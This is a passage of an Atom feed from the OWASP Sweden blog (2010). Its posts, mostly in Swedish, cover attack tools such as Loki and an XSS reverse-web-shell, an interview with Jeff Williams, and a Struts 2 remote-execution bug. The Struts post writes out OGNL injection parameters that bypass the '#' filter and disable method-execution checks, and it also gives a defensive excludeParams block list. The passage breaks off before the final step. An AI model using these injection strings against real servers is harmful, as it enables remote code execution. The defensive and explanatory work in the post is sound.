bold;"&gt;Nya verktyget Loki&lt;/span&gt;&lt;br /&gt;Loki kan angripa följande protokoll:&lt;br /&gt;&lt;br /&gt;Interior gateway-protokoll&lt;br /&gt;&lt;ul&gt;&lt;li&gt;RIP (route-injicering)&lt;/li&gt;&lt;li&gt;EIGRP (EIGRP TLV-injicering, authentiserad/icke-autheniserad DoS) Ej släppt än pga juridiska problem med Cisco. &lt;/li&gt;&lt;li&gt;OSPF (LSA-injicering, knöcka MD5-authenitisering)&lt;/li&gt;&lt;/ul&gt;Exterior gateway-protokoll&lt;br /&gt;&lt;ul&gt;&lt;li&gt;BGP (NLRI injection)&lt;/li&gt;&lt;/ul&gt;Andra protokoll:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;ARP (spoofning, skanning, flooding)&lt;/li&gt;&lt;li&gt;BFD, nytt protokoll (DoS mot existerande BFD-session)&lt;/li&gt;&lt;li&gt;HSRP/HSRPv2 (ta över IP-adresser)&lt;/li&gt;&lt;li&gt;LDP (injicering av label mapping messages)&lt;/li&gt;&lt;li&gt;MPLS (omskrivning av MPLS labels, MPLS-VPN-attack)&lt;/li&gt;&lt;li&gt;TCP-MD5 (knäcka autentisering enligt RFC2385)&lt;/li&gt;&lt;li&gt;VRRP, VRRPv3 (ta över IP-adresser)&lt;/li&gt;&lt;li&gt;WLCCP (sniffning, cracking, generera CTK-nonce och nyckel, dekryptering av klient-PMK) Ej släppt än pga juridiska problem med Cisco. &lt;/li&gt;&lt;/ul&gt;På &lt;a href="http://www.ernw.net/content/e15/e26/"&gt;ERNWs webbsida&lt;/a&gt; står det fortfarande att verktyget snart kommer publiceras.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1266581130962419769?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1266581130962419769/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1266581130962419769' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1266581130962419769'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1266581130962419769'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/loki-nytt-verktyg-for-layer-3-attacker.html' title='Loki – nytt verktyg för layer 3-attacker'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-5834071777156716203</id><published>2010-07-29T03:01:00.003+02:00</published><updated>2010-07-29T03:06:08.957+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Black Hat'/><category scheme='http://www.blogger.com/atom/ns#' term='Defcon'/><title type='text'>Bloggande från Black Hat + Defcon</title><content type='html'>Jag och tre kollegor är på &lt;a href="http://www.blackhat.com/html/bh-us-10/bh-us-10-home.html"&gt;Black Hat&lt;/a&gt; och &lt;a href="http://www.defcon.org/html/defcon-18/dc-18-index.html"&gt;Defcon&lt;/a&gt; i Las Vegas, USA. Jag har valt en del riktigt tunga föredrag så några av mina blogginlägg får nog vänta till jag har kommit hem och hunnit läsa ett par av de bakomliggande artiklarna :). Men det ska inte behöva bli tomt här för det. &lt;span style="font-style: italic;"&gt;Stay tuned&lt;/span&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-5834071777156716203?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/5834071777156716203/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=5834071777156716203' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5834071777156716203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5834071777156716203'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/bloggande-fran-black-hat-defcon.html' title='Bloggande från Black Hat + Defcon'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-2664804907411243052</id><published>2010-07-21T01:28:00.005+02:00</published><updated>2010-07-21T01:42:20.387+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='Clickjacking'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-origin request'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><title type='text'>XSS-verktyg: Shell of the Future</title><content type='html'>Lavakumar Kuppan från Attack and Defense Labs har släppt ett intressant XSS-verktyg: &lt;i&gt;&lt;a href="http://blog.andlabs.org/2010/07/shell-of-future-reverse-web-shell.html"&gt;Shell of the Future&lt;/a&gt;&lt;/i&gt;. Tanken är att hjälpa pentestare att bevisa hur farliga XSS-sårbarheter är.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Klientskript kommunicerar med &lt;/span&gt;&lt;/b&gt;&lt;i&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;cross-origin request&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Som attackerare sätter du upp en server vilken kommer utgöra din kontrollstation. Sen planterar du en av två färdiga skript mha XSS-sårbarheten. Genom &lt;a href="http://www.w3.org/TR/cors/#cross-origin-request0"&gt;&lt;i&gt;cross-origin request&lt;/i&gt;&lt;/a&gt; (del av HTML5) så låter nu skriptet dig surfa sömlöst med offrets session.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;i&gt;Clickjacking&lt;/i&gt; för att behålla skriptet lajv&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;I många fall så har attackeraren en begränsad tidslucka då hans/hennes elaka skript lever i offrets session. Så fort offret klickar vidare så laddas en sida som inte innehåller det elaka skriptet och tidsluckan är förbi.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;För att underlätta så har Lava gjort en variant av &lt;i&gt;Shell of the Future&lt;/i&gt;-skriptet som använder &lt;i&gt;clickjacking&lt;/i&gt; för att stjäla offrets klick och öppna länken i en ny flik istället. På det viset så lever attackskriptet kvar i den gamla fliken och attackeraren kan fortsätta surfa med offrets session.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-2664804907411243052?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/2664804907411243052/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=2664804907411243052' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2664804907411243052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2664804907411243052'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/xss-verktyg-shell-of-future.html' title='XSS-verktyg: Shell of the Future'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-2478311246658447973</id><published>2010-07-20T18:44:00.002+02:00</published><updated>2010-07-20T18:50:20.290+02:00</updated><title type='text'>Adobe Reader får sandlåda</title><content type='html'>Adobe har bestämt sig för att använda beprövad säkerhetsteknik för att komma åt alla pdf-trojaner som drabbat deras Reader. Med inspiration från MS Office 2010, 2007 och Chrome så kommer de rendera pdf:er i sandlådor i och med nästa version. Dock bara för Windows.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I en första våg ska de skydda mot skrivningar och i nästa mot läsning av information.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Hela storyn &lt;a href="http://news.cnet.com/8301-27080_3-20011015-245.html"&gt;här (CNET)&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-2478311246658447973?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/2478311246658447973/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=2478311246658447973' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2478311246658447973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2478311246658447973'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/adobe-reader-far-sandlada.html' title='Adobe Reader får sandlåda'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8755651267852684845</id><published>2010-07-20T13:41:00.005+02:00</published><updated>2010-07-20T13:57:37.626+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='interview'/><category scheme='http://www.blogger.com/atom/ns#' term='Jeff Williams'/><title type='text'>Interview with Jeff Williams</title><content type='html'>&lt;div&gt;The Conference Guide for OWASP AppSec Research 2010 in Stockholm featured an exclusive interview I did with Jeff Williams, volunteer Chair of the OWASP Foundation.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tONVxa3WGQM/TEWNBibRUWI/AAAAAAAAAZE/dSDBPXbr2Q0/s1600/Picture_of_Jeff_Williams.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 268px; height: 320px;" src="http://3.bp.blogspot.com/_tONVxa3WGQM/TEWNBibRUWI/AAAAAAAAAZE/dSDBPXbr2Q0/s320/Picture_of_Jeff_Williams.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5495953977836130658" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here it is online:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Will OWASP ever reach out to developers?&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#000099;"&gt;OWASP focuses on outreach in 2010, and with the prevalence of application security flaws I'd say that's a good focus. But how do we reach out? How should appsec professionals reach software developers?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#000099;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;i&gt;Jeff&lt;/i&gt;: To say that software development groups don’t fully trust security people is an understatement. This isn’t too surprising, seeing how some appsec professionals parade security holes around to get budget for their application security programs. Frankly, most appsec programs are reactive verification programs, designed to find vulnerabilities after they are created.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This era of security separate from development has to end. Instead, we need to get integrated with software development teams and business organizations, working together to get security started much earlier in the software process.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The right way to reach out is to get in there and actually help. Help figure out the threat model, design security architecture, place security controls, and develop test cases. If you find a vulnerability after the application is complete, you failed.  And if you’re only talking with other security people, you’re doing it wrong.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Application security and the word Trust&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#000099;"&gt;The word trust is often used in IT security. How would you say application security applies to the trust relationship between customers and vendors, or endusers and developers if you will?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#000099;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;i&gt;Jeff&lt;/i&gt;: Today, most trust is blind – and quite frankly unwarranted. There’s just no way for users to know whether the software they’re using is even remotely trustworthy. I’ve talked many times about how this information asymmetry turns the software market into a “market for lemons.” The solution is visibility and transparency for application security, which is the reason why OWASP’s mission focuses on creating visibility.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The whole point of application security is to generate informed trust, where people make decisions about software based on a full and accurate understanding of the risks involved. To achieve this, OWASP is trying to bootstrap a new era of open security ecosystems and “security in sunshine.”&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Do developers care about rugged software?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#000099;"&gt;Joshua Corman, David Rice, and you released the &lt;a href="http://www.ruggedsoftware.org/"&gt;Rugged Software Manifesto&lt;/a&gt; in February. Does it stick to software developers or is it just an appsec utopia? Do developers really care if their software is rugged or not?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Jeff&lt;/i&gt;: We’re trying to bring application security to developers in a way that doesn’t involve threats, coercion, or embarrassment. Recent efforts to try to make developers liable for software vulnerabilities will only result in keeping critical security information shadowed in darkness. The only way we will make progress in application security is by bringing together business people, software developers, and security people and getting them to work together.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Rugged gets all of those groups focused on security in a positive way. In the same way that the Agile movement resonates with developers worldwide who are fed up with the traditional waterfall approach to development, Rugged appeals to developers who want their code to be strong enough to trust.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Virtually all of the developers I meet do care about security, but they need an ecosystem that supports them to make it a reality.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Java rootkits and trusted developers&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#000099;"&gt;At Blackhat USA last year you presented the paper&lt;a href="http://www.blackhat.com/presentations/bh-usa-09/WILLIAMS/BHUSA09-Williams-EnterpriseJavaRootkits-PAPER.pdf"&gt; "Enterprise Java Rootkits -- Hardly Anyone Watches the Developers" (pdf)&lt;/a&gt;. Are malicious or disgruntled developers really something we should care about? Who's responsible – the CSO, the CIO, the team leader, or?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#000099;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;i&gt;Jeff&lt;/i&gt;: I’m mostly a “builder,” but occasionally when it’s really important, I reveal my “breaker” side. Malicious developers are literally a “movie plot” threat, but that doesn’t mean we shouldn’t think about it. I set out to figure out the likelihood and impact of the risk associated with malicious developers. It quickly became clear that the amount of damage was virtually unlimited – at least as bad as the worst vulnerability possible and probably quite a bit worse.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The likelihood is harder to calculate, but scary. Imagine you have 200 developers – what are the odds that one of them is disgruntled or in a difficult life situation. Then think about what it would cost to get one of them to betray your company. Then think about all the code you’re trusting – custom code, libraries, test cases, your tool chain, and more. All of those developers are running with full trust deep in your infrastructure.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The paper investigates lots of ways that a malicious developer might hide their attack and concludes that it is quite easy for relatively unskilled developers to do this. There are some very interesting techniques for hiding these attacks and even attacking whole sectors by Trojaning libraries.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So to answer your question, yes – we should care about this risk. There are some simple things we can do about it, but the point of the paper was to kick off research in this area so that we can start to figure out how to protect ourselves for the longterm.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8755651267852684845?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8755651267852684845/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8755651267852684845' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8755651267852684845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8755651267852684845'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/interview-with-jeff-williams.html' title='Interview with Jeff Williams'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tONVxa3WGQM/TEWNBibRUWI/AAAAAAAAAZE/dSDBPXbr2Q0/s72-c/Picture_of_Jeff_Williams.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-3780997222582731449</id><published>2010-07-19T19:21:00.002+02:00</published><updated>2010-07-19T19:29:00.692+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='AppSec USA 2010'/><title type='text'>AppSec USA 2010 – Programmet ute</title><content type='html'>Nu är programmet för OWASP AppSec USA 2010 publicerat. Inte mindre än fem keynote-talare!&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.owasp.org/index.php/AppSec_US_2010,_CA#tab=September_9th"&gt;Programmet 9 september&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.owasp.org/index.php/AppSec_US_2010,_CA#tab=September_10th"&gt;Programmet 10 september&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Platsen är UC Irvine i Kalifornien och de har precis förlängt &lt;a href="http://appsecusa.org/register-now.html"&gt;earlybird-rabatten till 31/7&lt;/a&gt;. Kommer bli mycket trevligt tror jag!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Följ &lt;a href="http://twitter.com/appsec2010"&gt;@appsec2010&lt;/a&gt; på Twitter och tagga era egna konferenstweets med &lt;a href="http://twitter.com/#search?q=%23appsec2010"&gt;#appsec2010&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-3780997222582731449?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/3780997222582731449/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=3780997222582731449' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3780997222582731449'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3780997222582731449'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/appsec-usa-2010-programmet-ute.html' title='AppSec USA 2010 – Programmet ute'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-5381267464317824038</id><published>2010-07-16T00:17:00.003+02:00</published><updated>2010-07-16T00:38:27.516+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Säkerhetsverktyg'/><title type='text'>Alla säkerhetsverktyg du kan önska dig</title><content type='html'>OWASPs Phoenix-projekt har gjort ett hästjobb i att länka allsköns säkerhetsverktyg – testsajter, proxys, fuzzers, bra webbläsar-plugins, kodskanners och så vidare. Alla länkar lever nog inte eftersom  listan har byggts upp över tid. Men det sker uppdateringar kontinuerligt.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Kolla in listan &lt;a href="http://www.owasp.org/index.php/Phoenix/Tools"&gt;här&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Men se upp! I dagarna fick vi återigen ett exempel på hur illa det kan gå med plugins. Enligt uppgift så innehöll Firefox-addon:en &lt;i&gt;Mozilla Sniff&lt;/i&gt; en &lt;a href="http://news.netcraft.com/archives/2010/07/15/firefox-security-test-add-on-was-backdoored.html"&gt;dold funktion som loggade alla användarnamn och lösenord&lt;/a&gt; ihop med den sajt de användes på. Uppgifterna skickades till extern server. Riktigt illa blev det eftersom Mozilla Sniff ingick i kollektionen&lt;i&gt; Web Application Security Penetration Testing&lt;/i&gt;. Undrar hur många säkerhetsmänniskor som blivit av med sina lösenord på det viset?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-5381267464317824038?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/5381267464317824038/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=5381267464317824038' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5381267464317824038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5381267464317824038'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/alla-sakerhetsverktyg-du-kan-onska-dig.html' title='Alla säkerhetsverktyg du kan önska dig'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-929193014769802477</id><published>2010-07-14T11:33:00.008+02:00</published><updated>2010-07-14T16:30:44.279+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Struts 2'/><category scheme='http://www.blogger.com/atom/ns#' term='säkerhetsbugg'/><title type='text'>Remote execution i Struts 2</title><content type='html'>&lt;div&gt;Efter att &lt;a href="http://owaspsweden.blogspot.com/2010/06/arbitrary-code-execution-i-spring.html"&gt;Spring MVC fallit&lt;/a&gt; förra månaden så faller nu Struts 2. Det här är nog det värsta jag har sett i Java-världen. &lt;a href="http://svn.apache.org/viewvc?view=revision&amp;amp;revision=956389"&gt;Patchad kod&lt;/a&gt; är &lt;a href="http://people.apache.org/builds/struts/2.2.0/"&gt;uppladdad&lt;/a&gt; men inte släppt än. När 2.2.0 kommer så är det dags för alla Struts2-användare att patcha.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;[Uppdatering]&lt;/b&gt; Följande konfiguration i struts.xml verkar svartlista Meders attack:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;div&gt;&amp;lt;interceptor-ref name="params"&gt;&lt;/div&gt;&lt;div&gt; &amp;lt;param name="excludeParams"&gt;dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.* &amp;lt;/param&gt;&lt;/div&gt;&lt;div&gt;&amp;lt;/interceptor-ref&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Unicode för '#' kringår indatavalidering&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Meder Kydyraliev som säkerhetsexperten heter upptäckte för ett år sedan att Struts inte tillåter tecknet '#' i http-parametrar. Detta för att man med '#' når fördefinierade kontextvariabler i XWork såsom &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;#session&lt;/span&gt;, &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;#request&lt;/span&gt; och &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;#parameters&lt;/span&gt;. Men Apache-folket missade det gamla encoding-problemet. Genom att skicka in Unicode för '#', dvs &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;\u0023&lt;/span&gt;, så kringgås indatavalideringen.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Http-parametrar för att tillåta statiska och dynamiska metodanrop&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Sen upptäckte Meder kontextvariabeln &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;#_memberAccess&lt;/span&gt; med det booleska attributet &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;allowStaticAccess&lt;/span&gt; som styrde statiska anrop till metoder. Första http-parametern i attack-URL:en blir alltså:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;\u0023_memberAccess['allowStaticMethodAccess'] = true&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Sen fyller han på med en http-parameter som skapar en &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Boolean&lt;/span&gt; som är falsk:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;\u0023foo = new java .lang.Boolean("false")&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Det booleanska objektet använder han för att i nästa http-parameter stänga av &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;denyMethodExecution&lt;/span&gt;:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;\u0023context['xwork.MethodAccessor.denyMethodExecution'] = \u0023foo&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Hämta Runtime-objektet och kör valfri kod&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Lägg till det en http-parameter för att 